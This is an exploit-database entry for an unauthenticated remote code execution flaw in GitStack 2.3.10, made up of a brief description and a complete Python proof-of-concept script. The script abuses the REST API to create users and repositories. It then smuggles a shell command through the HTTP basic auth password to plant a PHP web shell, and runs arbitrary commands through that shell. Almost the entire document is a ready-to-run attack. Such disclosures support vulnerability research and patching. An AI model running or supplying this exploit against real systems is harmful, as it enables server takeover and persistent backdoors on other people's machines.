GitStack 2.3.10 – Remote Code Execution
# Exploit: GitStack 2.3.10 Unauthenticated Remote Code Execution # Date: 18.01.2018 # Software Link: https://gitstack.com/ # Exploit Author: Kacper Szurek # Contact: https://twitter.com/KacperSzurek # Website: https://security.szurek.pl/ # Category: remote # #1. Description # #$_SERVER['PHP_AUTH_PW'] is directly passed to exec function. # #https://security.szurek.pl/gitstack-2310-unauthenticated-rce.html # #2. Proof of Concept # import requests from requests.auth import HTTPBasicAuth import os import sys ip = '192.168.1.102' # What command you want to execute command = "whoami" repository = 'rce' username = 'rce' password = 'rce' csrf_token = 'token' user_list = [] print "[+] Get user list" try: r = requests.get("http://{}/rest/user/".format(ip)) user_list = r.json() user_list.remove('everyone') except: pass if len(user_list) > 0: username = user_list[0] print "[+] Found user {}".format(username) else: r = requests.post("http://{}/rest/user/".format(ip), data={'username' : username, 'password' : password}) print "[+] Create user" if not "User created" in r.text and not "User already exist" in r.text: print "[-] Cannot create user" os._exit(0) r = requests.get("http://{}/rest/settings/general/webinterface/".format(ip)) if "true" in r.text: print "[+] Web repository already enabled" else: print "[+] Enable web repository" r = requests.put("http://{}/rest/settings/general/webinterface/".format(ip), data='{"enabled" : "true"}') if not "Web interface successfully enabled" in r.text: print "[-] Cannot enable web interface" os._exit(0) print "[+] Get repositories list" r = requests.get("http://{}/rest/repository/".format(ip)) repository_list = r.json() if len(repository_list) > 0: repository = repository_list[0]['name'] print "[+] Found repository {}".format(repository) else: print "[+] Create repository" r = requests.post("http://{}/rest/repository/".format(ip), cookies={'csrftoken' : csrf_token}, data={'name' : repository, 'csrfmiddlewaretoken' : csrf_token}) if not "The repository has been successfully created" in r.text and not "Repository already exist" in r.text: print "[-] Cannot create repository" os._exit(0) print "[+] Add user to repository" r = requests.post("http://{}/rest/repository/{}/user/{}/".format(ip, repository, username)) if not "added to" in r.text and not "has already" in r.text: print "[-] Cannot add user to repository" os._exit(0) print "[+] Disable access for anyone" r = requests.delete("http://{}/rest/repository/{}/user/{}/".format(ip, repository, "everyone")) if not "everyone removed from rce" in r.text and not "not in list" in r.text: print "[-] Cannot remove access for anyone" os._exit(0) print "[+] Create backdoor in PHP" r = requests.get('http://{}/web/index.php?p={}.git&a=summary'.format(ip, repository), auth=HTTPBasicAuth(username, 'p && echo "<?php system($_POST[\'a\']); ?>" > c:\GitStack\gitphp\exploit.php')) print r.text.encode(sys.stdout.encoding, errors='replace') print "[+] Execute command" r = requests.post("http://{}/web/exploit.php".format(ip), data={'a' : command}) print r.text.encode(sys.stdout.encoding, errors='replace') |